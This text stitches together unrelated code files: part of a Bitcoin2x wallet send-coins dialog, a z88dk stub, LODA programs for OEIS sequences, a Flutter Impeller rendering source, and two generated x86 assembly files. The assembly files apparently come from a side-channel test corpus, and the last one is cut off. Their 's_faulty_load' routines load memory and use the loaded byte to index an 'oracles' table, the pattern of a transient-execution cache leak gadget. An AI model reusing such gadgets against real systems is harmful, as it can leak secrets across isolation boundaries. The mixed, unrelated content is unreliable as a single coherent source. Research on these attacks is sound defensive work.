unconfirmedBalance, const CAmount& immatureBalance, const CAmount& stake, const CAmount& watchBalance, const CAmount& watchUnconfirmedBalance, const CAmount& watchImmatureBalance) { Q_UNUSED(unconfirmedBalance); Q_UNUSED(immatureBalance); Q_UNUSED(watchBalance); Q_UNUSED(watchUnconfirmedBalance); Q_UNUSED(watchImmatureBalance); if(model && model->getOptionsModel()) { ui->labelBalance->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), balance)); } } void SendCoinsDialog::updateDisplayUnit() { setBalance(model->getBalance(), 0, 0, 0, 0, 0, 0); ui->customFee->setDisplayUnit(model->getOptionsModel()->getDisplayUnit()); updateMinFeeLabel(); updateSmartFeeLabel(); } void SendCoinsDialog::processSendCoinsReturn(const WalletModel::SendCoinsReturn &sendCoinsReturn, const QString &msgArg) { QPair<QString, CClientUIInterface::MessageBoxFlags> msgParams; // Default to a warning message, override if error message is needed msgParams.second = CClientUIInterface::MSG_WARNING; // This comment is specific to SendCoinsDialog usage of WalletModel::SendCoinsReturn. // WalletModel::TransactionCommitFailed is used only in WalletModel::sendCoins() // all others are used only in WalletModel::prepareTransaction() switch(sendCoinsReturn.status) { case WalletModel::InvalidAddress: msgParams.first = tr("The recipient address is not valid. Please recheck."); break; case WalletModel::InvalidAmount: msgParams.first = tr("The amount to pay must be larger than 0."); break; case WalletModel::AmountExceedsBalance: msgParams.first = tr("The amount exceeds your balance."); break; case WalletModel::AmountWithFeeExceedsBalance: msgParams.first = tr("The total exceeds your balance when the %1 transaction fee is included.").arg(msgArg); break; case WalletModel::DuplicateAddress: msgParams.first = tr("Duplicate address found: addresses should only be used once each."); break; case WalletModel::TransactionCreationFailed: msgParams.first = tr("Transaction creation failed!"); msgParams.second = CClientUIInterface::MSG_ERROR; break; case WalletModel::TransactionCommitFailed: msgParams.first = tr("The transaction was rejected with the following reason: %1").arg(sendCoinsReturn.reasonCommitFailed); msgParams.second = CClientUIInterface::MSG_ERROR; break; case WalletModel::AbsurdFee: msgParams.first = tr("A fee higher than %1 is considered an absurdly high fee.").arg(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), maxTxFee)); break; case WalletModel::PaymentRequestExpired: msgParams.first = tr("Payment request expired."); msgParams.second = CClientUIInterface::MSG_ERROR; break; // included to prevent a compiler warning. case WalletModel::OK: default: return; } Q_EMIT message(tr("Send Coins"), msgParams.first, msgParams.second); } void SendCoinsDialog::minimizeFeeSection(bool fMinimize) { ui->labelFeeMinimized->setVisible(fMinimize); ui->buttonChooseFee ->setVisible(fMinimize); ui->buttonMinimizeFee->setVisible(!fMinimize); ui->frameFeeSelection->setVisible(!fMinimize); ui->horizontalLayoutSmartFee->setContentsMargins(0, (fMinimize ? 0 : 6), 0, 0); fFeeMinimized = fMinimize; } void SendCoinsDialog::on_buttonChooseFee_clicked() { minimizeFeeSection(false); } void SendCoinsDialog::on_buttonMinimizeFee_clicked() { updateFeeMinimizedLabel(); minimizeFeeSection(true); } void SendCoinsDialog::setMinimumFee() { ui->customFee->setValue(CWallet::GetRequiredFee(1000)); } void SendCoinsDialog::updateFeeSectionControls() { ui->confTargetSelector ->setEnabled(ui->radioSmartFee->isChecked()); ui->labelSmartFee ->setEnabled(ui->radioSmartFee->isChecked()); ui->labelSmartFee2 ->setEnabled(ui->radioSmartFee->isChecked()); ui->labelSmartFee3 ->setEnabled(ui->radioSmartFee->isChecked()); ui->labelFeeEstimation ->setEnabled(ui->radioSmartFee->isChecked()); ui->checkBoxMinimumFee ->setEnabled(ui->radioCustomFee->isChecked()); ui->labelMinFeeWarning ->setEnabled(ui->radioCustomFee->isChecked()); ui->labelCustomPerKilobyte ->setEnabled(ui->radioCustomFee->isChecked() && !ui->checkBoxMinimumFee->isChecked()); ui->customFee ->setEnabled(ui->radioCustomFee->isChecked() && !ui->checkBoxMinimumFee->isChecked()); } void SendCoinsDialog::updateFeeMinimizedLabel() { if(!model || !model->getOptionsModel()) return; if (ui->radioSmartFee->isChecked()) ui->labelFeeMinimized->setText(ui->labelSmartFee->text()); else { ui->labelFeeMinimized->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), ui->customFee->value()) + "/kB"); } } void SendCoinsDialog::updateMinFeeLabel() { if (model && model->getOptionsModel()) ui->checkBoxMinimumFee->setText(tr("Pay only the required fee of %1").arg( BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), CWallet::GetRequiredFee(1000)) + "/kB") ); } void SendCoinsDialog::updateCoinControlState(CCoinControl& ctrl) { if (ui->radioCustomFee->isChecked()) { ctrl.m_feerate = CFeeRate(ui->customFee->value()); } else { ctrl.m_feerate.reset(); } // Avoid using global defaults when sending money from the GUI // Either custom fee will be used or if not selected, the confirmation target from dropdown box ctrl.m_confirm_target = getConfTargetForIndex(ui->confTargetSelector->currentIndex()); ctrl.signalRbf = ui->optInRBF->isChecked(); } void SendCoinsDialog::updateSmartFeeLabel() { if(!model || !model->getOptionsModel()) return; CCoinControl coin_control; updateCoinControlState(coin_control); coin_control.m_feerate.reset(); // Explicitly use only fee estimation rate for smart fee labels FeeCalculation feeCalc; CFeeRate feeRate = CFeeRate(CWallet::GetMinimumFee(1000, coin_control, ::mempool, ::feeEstimator, &feeCalc)); ui->labelSmartFee->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), feeRate.GetFeePerK()) + "/kB"); if (feeCalc.reason == FeeReason::FALLBACK) { ui->labelSmartFee2->show(); // (Smart fee not initialized yet. This usually takes a few blocks...) ui->labelFeeEstimation->setText(""); ui->fallbackFeeWarningLabel->setVisible(true); int lightness = ui->fallbackFeeWarningLabel->palette().color(QPalette::WindowText).lightness(); QColor warning_colour(255 - (lightness / 5), 176 - (lightness / 3), 48 - (lightness / 14)); ui->fallbackFeeWarningLabel->setStyleSheet("QLabel { color: " + warning_colour.name() + "; }"); ui->fallbackFeeWarningLabel->setIndent(QFontMetrics(ui->fallbackFeeWarningLabel->font()).width("x")); } else { ui->labelSmartFee2->hide(); ui->labelFeeEstimation->setText(tr("Estimated to begin confirmation within %n block(s).", "", feeCalc.returnedTarget)); ui->fallbackFeeWarningLabel->setVisible(false); } updateFeeMinimizedLabel(); } // Coin Control: copy label "Quantity" to clipboard void SendCoinsDialog::coinControlClipboardQuantity() { GUIUtil::setClipboard(ui->labelCoinControlQuantity->text()); } // Coin Control: copy label "Amount" to clipboard void SendCoinsDialog::coinControlClipboardAmount() { GUIUtil::setClipboard(ui->labelCoinControlAmount->text().left(ui->labelCoinControlAmount->text().indexOf(" "))); } // Coin Control: copy label "Fee" to clipboard void SendCoinsDialog::coinControlClipboardFee() { GUIUtil::setClipboard(ui->labelCoinControlFee->text().left(ui->labelCoinControlFee->text().indexOf(" ")).replace(ASYMP_UTF8, "")); } // Coin Control: copy label "After fee" to clipboard void SendCoinsDialog::coinControlClipboardAfterFee() { GUIUtil::setClipboard(ui->labelCoinControlAfterFee->text().left(ui->labelCoinControlAfterFee->text().indexOf(" ")).replace(ASYMP_UTF8, "")); } // Coin Control: copy label "Bytes" to clipboard void SendCoinsDialog::coinControlClipboardBytes() { GUIUtil::setClipboard(ui->labelCoinControlBytes->text().replace(ASYMP_UTF8, "")); } // Coin Control: copy label "Dust" to clipboard void SendCoinsDialog::coinControlClipboardLowOutput() { GUIUtil::setClipboard(ui->labelCoinControlLowOutput->text()); } // Coin Control: copy label "Change" to clipboard void SendCoinsDialog::coinControlClipboardChange() { GUIUtil::setClipboard(ui->labelCoinControlChange->text().left(ui->labelCoinControlChange->text().indexOf(" ")).replace(ASYMP_UTF8, "")); } // Coin Control: settings menu - coin control enabled/disabled by user void SendCoinsDialog::coinControlFeatureChanged(bool checked) { ui->frameCoinControl->setVisible(checked); if (!checked && model) // coin control features disabled CoinControlDialog::coinControl->SetNull(); coinControlUpdateLabels(); } // Coin Control: button inputs -> show actual coin control dialog void SendCoinsDialog::coinControlButtonClicked() { CoinControlDialog dlg(platformStyle); dlg.setModel(model); dlg.exec(); coinControlUpdateLabels(); } // Coin Control: checkbox custom change address void SendCoinsDialog::coinControlChangeChecked(int state) { if (state == Qt::Unchecked) { CoinControlDialog::coinControl->destChange = CNoDestination(); ui->labelCoinControlChangeLabel->clear(); } else // use this to re-validate an already entered address coinControlChangeEdited(ui->lineEditCoinControlChange->text()); ui->lineEditCoinControlChange->setEnabled((state == Qt::Checked)); } // Coin Control: custom change address changed void SendCoinsDialog::coinControlChangeEdited(const QString& text) { if (model && model->getAddressTableModel()) { // Default to no change address until verified CoinControlDialog::coinControl->destChange = CNoDestination(); ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:red;}"); CBitcoinAddress addr = CBitcoinAddress(text.toStdString()); if (text.isEmpty()) // Nothing entered { ui->labelCoinControlChangeLabel->setText(""); } else if (!addr.IsValid()) // Invalid address { ui->labelCoinControlChangeLabel->setText(tr("Warning: Invalid Bitcoin2x address")); } else // Valid address { const CTxDestination dest = addr.Get(); if (!model->IsSpendable(dest)) { ui->labelCoinControlChangeLabel->setText(tr("Warning: Unknown change address")); // confirmation dialog QMessageBox::StandardButton btnRetVal = QMessageBox::question(this, tr("Confirm custom change address"), tr("The address you selected for change is not part of this wallet. Any or all funds in your wallet may be sent to this address. Are you sure?"), QMessageBox::Yes | QMessageBox::Cancel, QMessageBox::Cancel); if(btnRetVal == QMessageBox::Yes) CoinControlDialog::coinControl->destChange = dest; else { ui->lineEditCoinControlChange->setText(""); ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:black;}"); ui->labelCoinControlChangeLabel->setText(""); } } else // Known change address { ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:black;}"); // Query label QString associatedLabel = model->getAddressTableModel()->labelForAddress(text); if (!associatedLabel.isEmpty()) ui->labelCoinControlChangeLabel->setText(associatedLabel); else ui->labelCoinControlChangeLabel->setText(tr("(no label)")); CoinControlDialog::coinControl->destChange = dest; } } } } // Coin Control: update labels void SendCoinsDialog::coinControlUpdateLabels() { if (!model || !model->getOptionsModel()) return; updateCoinControlState(*CoinControlDialog::coinControl); // set pay amounts CoinControlDialog::payAmounts.clear(); CoinControlDialog::fSubtractFeeFromAmount = false; for(int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if(entry && !entry->isHidden()) { SendCoinsRecipient rcp = entry->getValue(); CoinControlDialog::payAmounts.append(rcp.amount); if (rcp.fSubtractFeeFromAmount) CoinControlDialog::fSubtractFeeFromAmount = true; } } if (CoinControlDialog::coinControl->HasSelected()) { // actual coin control calculation CoinControlDialog::updateLabels(model, this); // show coin control stats ui->labelCoinControlAutomaticallySelected->hide(); ui->widgetCoinControl->show(); } else { // hide coin control stats ui->labelCoinControlAutomaticallySelected->show(); ui->widgetCoinControl->hide(); ui->labelCoinControlInsuffFunds->hide(); } } SendConfirmationDialog::SendConfirmationDialog(const QString &title, const QString &text, int _secDelay, QWidget *parent) : QMessageBox(QMessageBox::Question, title, text, QMessageBox::Yes | QMessageBox::Cancel, parent), secDelay(_secDelay) { setDefaultButton(QMessageBox::Cancel); yesButton = button(QMessageBox::Yes); updateYesButton(); connect(&countDownTimer, SIGNAL(timeout()), this, SLOT(countDown())); } int SendConfirmationDialog::exec() { updateYesButton(); countDownTimer.start(1000); return QMessageBox::exec(); } void SendConfirmationDialog::countDown() { secDelay--; updateYesButton(); if(secDelay <= 0) { countDownTimer.stop(); } } void SendConfirmationDialog::updateYesButton() { if(secDelay > 0) { yesButton->setEnabled(false); yesButton->setText(tr("Yes") + " (" + QString::number(secDelay) + ")"); } else { yesButton->setEnabled(true); yesButton->setText(tr("Yes")); } }
; _Noreturn void _exit(int status) SECTION code_fcntl PUBLIC _exit EXTERN __Exit defc _exit = __Exit
; A208900: Number of bitstrings of length n which (if having two or more runs) the last two runs have different lengths. ; 2,2,6,10,26,50,114,226,482,962,1986,3970,8066,16130,32514,65026,130562,261122,523266,1046530,2095106,4190210,8384514,16769026,33546242,67092482,134201346,268402690,536838146,1073676290,2147418114,4294836226,8589803522,17179607042,34359476226,68718952450,137438429186,274876858370,549754765314,1099509530626,2199021158402,4398042316802,8796088827906,17592177655810,35184363700226,70368727400450,140737471578114,281474943156226,562949919866882,1125899839733762,2251799746576386,4503599493152770,9007199120523266 trn $0,1 mov $2,$0 lpb $0,1 sub $0,1 mov $3,2 lpe mov $1,2 pow $3,$2 div $2,2 pow $1,$2 add $1,1 gcd $4,$3 add $4,7 sub $4,$1 add $0,$4 mov $1,$0 sub $1,6 mul $1,4 add $1,2
; A192474: Constant term of the reduction by x^2->x+1 of the polynomial p(n,x)=1+x^(n+1)+x^(2n). ; Submitted by Jon Maiga ; 3,4,8,17,40,98,247,632,1632,4237,11036,28802,75259,196796,514840,1347257,3526176,9230050,24161999,63252752,165591088,433512149,1134931828,2971261442,7778817075,20365132468,53316487592,139584180257,365435810392 mov $3,1 lpb $3 mov $2,2 sub $3,1 mov $7,$0 lpb $2 sub $2,1 add $6,2 lpb $0 sub $0,1 mov $5,$4 mov $4,$6 add $6,$5 lpe mov $0,$7 div $7,30 lpe lpe mov $0,$6 div $0,2 add $0,1
; A062876: Numbers of lattice points corresponding to incrementally largest circle radii in A062875. ; Submitted by Jamie Morken(w4) ; 4,12,20,28,44,52,68,76,92,116,124,148,164,172,188,212,236,244,268,284,292,316,332,356,388,404,412,428,436,452,508,524,548,556,596,604,628,652,668,692,716,724,764,772,788,796,844,892,908,916,932,956,964,1004,1028,1052,1076,1084,1108,1124,1132,1172,1228,1244,1252,1268,1324,1348,1388,1396,1412,1436,1468,1492,1516,1532,1556,1588,1604,1636,1676,1684,1724,1732,1756,1772,1796,1828,1844,1852,1868,1916,1948,1964,1996,2012,2036,2084,2092,2164 mul $0,2 mov $2,$0 sub $0,1 div $0,2 seq $0,8507 ; Number of odd composite numbers less than n-th odd prime. mul $0,2 add $0,3 add $0,$2 sub $0,2 mul $0,4
// Copyright 2013 The Flutter Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "texture_contents.h" #include "impeller/entity/contents/content_context.h" #include "impeller/entity/entity.h" #include "impeller/entity/mtl/texture_fill.frag.h" #include "impeller/entity/mtl/texture_fill.vert.h" #include "impeller/renderer/render_pass.h" #include "impeller/renderer/sampler_library.h" #include "impeller/tessellator/tessellator.h" namespace impeller { TextureContents::TextureContents() = default; TextureContents::~TextureContents() = default; void TextureContents::SetPath(Path path) { path_ = std::move(path); } void TextureContents::SetTexture(std::shared_ptr<Texture> texture) { texture_ = std::move(texture); } std::shared_ptr<Texture> TextureContents::GetTexture() const { return texture_; } void TextureContents::SetOpacity(Scalar opacity) { opacity_ = opacity; } std::optional<Rect> TextureContents::GetCoverage(const Entity& entity) const { return path_.GetTransformedBoundingBox(entity.GetTransformation()); }; bool TextureContents::Render(const ContentContext& renderer, const Entity& entity, RenderPass& pass) const { if (texture_ == nullptr) { return true; } using VS = TextureFillVertexShader; using FS = TextureFillFragmentShader; const auto coverage_rect = path_.GetBoundingBox(); if (!coverage_rect.has_value()) { return true; } if (coverage_rect->size.IsEmpty()) { return true; } const auto texture_size = texture_->GetSize(); if (texture_size.IsEmpty()) { return true; } if (source_rect_.IsEmpty()) { return true; } VertexBufferBuilder<VS::PerVertexData> vertex_builder; { const auto tess_result = Tessellator{}.Tessellate( path_.GetFillType(), path_.CreatePolyline(), [this, &vertex_builder, &coverage_rect, &texture_size](Point vtx) { VS::PerVertexData data; data.vertices = vtx; auto coverage_coords = (vtx - coverage_rect->origin) / coverage_rect->size; data.texture_coords = (source_rect_.origin + source_rect_.size * coverage_coords) / texture_size; vertex_builder.AppendVertex(data); }); if (tess_result == Tessellator::Result::kInputError) { return true; } if (tess_result == Tessellator::Result::kTessellationError) { return false; } } if (!vertex_builder.HasVertices()) { return true; } auto& host_buffer = pass.GetTransientsBuffer(); VS::FrameInfo frame_info; frame_info.mvp = Matrix::MakeOrthographic(pass.GetRenderTargetSize()) * entity.GetTransformation(); frame_info.alpha = opacity_; Command cmd; cmd.label = "TextureFill"; cmd.pipeline = renderer.GetTexturePipeline(OptionsFromPassAndEntity(pass, entity)); cmd.stencil_reference = entity.GetStencilDepth(); cmd.BindVertices(vertex_builder.CreateVertexBuffer(host_buffer)); VS::BindFrameInfo(cmd, host_buffer.EmplaceUniform(frame_info)); FS::BindTextureSampler(cmd, texture_, renderer.GetContext()->GetSamplerLibrary()->GetSampler( sampler_descriptor_)); pass.AddCommand(std::move(cmd)); return true; } void TextureContents::SetSourceRect(const Rect& source_rect) { source_rect_ = source_rect; } const Rect& TextureContents::GetSourceRect() const { return source_rect_; } void TextureContents::SetSamplerDescriptor(SamplerDescriptor desc) { sampler_descriptor_ = std::move(desc); } const SamplerDescriptor& TextureContents::GetSamplerDescriptor() const { return sampler_descriptor_; } } // namespace impeller
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WC_ht+0x11030, %rsi lea addresses_D_ht+0x1d1b0, %rdi clflush (%rsi) clflush (%rdi) nop add %r8, %r8 mov $3, %rcx rep movsb xor %r10, %r10 lea addresses_UC_ht+0x1d8f0, %rsi lea addresses_normal_ht+0x1ee30, %rdi clflush (%rsi) nop nop nop nop cmp $331, %r9 mov $50, %rcx rep movsb cmp $55074, %rsi lea addresses_D_ht+0x2e84, %rsi lea addresses_UC_ht+0x5bb0, %rdi nop nop nop nop nop xor %r10, %r10 mov $45, %rcx rep movsl nop nop nop cmp $18306, %r10 lea addresses_D_ht+0x1d7b0, %rdi nop nop nop nop nop dec %r9 mov (%rdi), %rsi nop nop nop nop nop dec %rcx lea addresses_normal_ht+0x71b0, %rsi lea addresses_UC_ht+0xd6fc, %rdi nop nop nop nop nop add $1509, %r13 mov $34, %rcx rep movsw nop nop nop dec %rsi lea addresses_D_ht+0xd56c, %rsi lea addresses_D_ht+0x749c, %rdi nop nop nop nop nop inc %r8 mov $49, %rcx rep movsw nop xor $45928, %rsi lea addresses_WC_ht+0x1c70e, %rsi nop nop cmp %r8, %r8 mov (%rsi), %rcx nop nop dec %r8 lea addresses_D_ht+0x1b0b4, %r13 nop nop nop nop nop cmp %r10, %r10 mov $0x6162636465666768, %rcx movq %rcx, (%r13) nop nop nop sub $10952, %r9 lea addresses_D_ht+0x18cd0, %rsi clflush (%rsi) cmp $37108, %r8 movl $0x61626364, (%rsi) nop dec %rdi lea addresses_normal_ht+0x16db0, %r13 nop nop sub %r10, %r10 movb $0x61, (%r13) nop nop sub $17677, %r8 lea addresses_UC_ht+0x1c572, %rsi lea addresses_WT_ht+0x1ac16, %rdi nop nop add $14836, %rax mov $95, %rcx rep movsl nop nop add $14920, %r10 lea addresses_UC_ht+0x18a90, %rsi lea addresses_normal_ht+0xb0a0, %rdi clflush (%rdi) nop nop nop sub $52386, %r8 mov $57, %rcx rep movsq nop nop dec %rax lea addresses_normal_ht+0x144d0, %rsi lea addresses_A_ht+0x37f0, %rdi nop nop nop nop inc %rax mov $39, %rcx rep movsq nop nop nop nop sub $39252, %rcx lea addresses_normal_ht+0x27b0, %rdi nop sub $11645, %r13 and $0xffffffffffffffc0, %rdi vmovaps (%rdi), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %r9 nop nop nop nop nop add $64645, %rcx lea addresses_D_ht+0x1b568, %rsi lea addresses_UC_ht+0x1cfb0, %rdi nop nop nop nop sub %r9, %r9 mov $47, %rcx rep movsb nop xor $20979, %rax pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r8 push %r9 push %rdi push %rsi // Faulty Load lea addresses_RW+0xb3b0, %r9 sub %r14, %r14 movups (%r9), %xmm5 vpextrq $1, %xmm5, %r12 lea oracles, %r14 and $0xff, %r12 shlq $12, %r12 mov (%r14,%r12,1), %r12 pop %rsi pop %rdi pop %r9 pop %r8 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'32': 17377} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r8 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x8070, %rsi lea addresses_WT_ht+0x3b20, %rdi nop xor $50248, %r8 mov $52, %rcx rep movsq sub %rdi, %rdi lea addresses_normal_ht+0x159c0, %rbx nop cmp $30206, %r13 mov (%rbx), %r10w nop nop nop nop xor %rdi, %rdi lea addresses_normal_ht+0x7ea0, %rbx nop nop nop nop and %rcx, %rcx mov (%rbx), %si nop nop nop nop nop inc %r10 lea addresses_UC_ht+0x1e6ce, %rsi lea addresses_A_ht+0x1d5c0, %rdi clflush (%rsi) nop nop nop nop add %rax, %rax mov $99, %rcx rep movsq nop cmp %rdi, %rdi lea addresses_A_ht+0xb40, %r8 nop nop nop nop and $21264, %rdi mov (%r8), %eax nop nop xor $31836, %r8 lea addresses_A_ht+0x115c0, %rbx nop cmp $65400, %rcx mov $0x6162636465666768, %rsi movq %rsi, (%rbx) nop nop nop nop nop cmp %rdi, %rdi lea addresses_D_ht+0x3dc0, %r13 nop nop nop nop nop sub $21829, %r8 mov (%r13), %r10d nop cmp $61045, %rdi lea addresses_WT_ht+0xecd8, %r10 nop nop nop nop inc %rax mov (%r10), %cx dec %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r9 push %rbp push %rcx push %rdi // Store lea addresses_PSE+0xa1c0, %r9 and %r13, %r13 movl $0x51525354, (%r9) nop nop nop sub $24337, %r9 // Store lea addresses_UC+0x4ec0, %rbp nop cmp %r9, %r9 mov $0x5152535455565758, %r14 movq %r14, %xmm2 vmovups %ymm2, (%rbp) nop nop nop nop nop sub $64279, %r9 // Store lea addresses_PSE+0xa1c0, %rcx nop nop and %r12, %r12 mov $0x5152535455565758, %r13 movq %r13, (%rcx) cmp %rbp, %rbp // Store lea addresses_normal+0x43e0, %r9 nop nop nop nop cmp %rbp, %rbp mov $0x5152535455565758, %r12 movq %r12, %xmm3 vmovups %ymm3, (%r9) nop nop nop nop nop sub $2753, %rdi // Faulty Load lea addresses_PSE+0xa1c0, %rdi nop nop nop nop cmp $26719, %r13 mov (%rdi), %r12w lea oracles, %rcx and $0xff, %r12 shlq $12, %r12 mov (%rcx,%r12,1), %r12 pop %rdi pop %rcx pop %rbp pop %r9 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 